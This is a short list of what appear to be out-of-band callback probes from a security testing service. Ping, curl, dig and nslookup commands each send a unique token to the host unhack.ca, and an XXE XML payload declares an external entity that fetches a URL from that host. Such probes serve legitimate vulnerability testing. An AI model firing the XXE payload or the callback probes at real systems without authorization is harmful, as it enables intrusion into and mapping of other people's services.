$ ping -c1 -p 0019f77cc0b07383ed29cfc0d6ffa900 unhack.ca
$ curl http://unhack.ca/p/19f77cc0b07383ed29cfc0d6ffa9
$ dig 19f77cc0b07383ed29cfc0d6ffa9 @unhack.ca
$ dig 19f77cc0b07383ed29cfc0d6ffa9.ns.unhack.ca
C:\> nslookup 19f77cc0b07383ed29cfc0d6ffa9 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/19f77cc0b07383ed29cfc0d6ffa9">]> <foo>&xxe;</foo>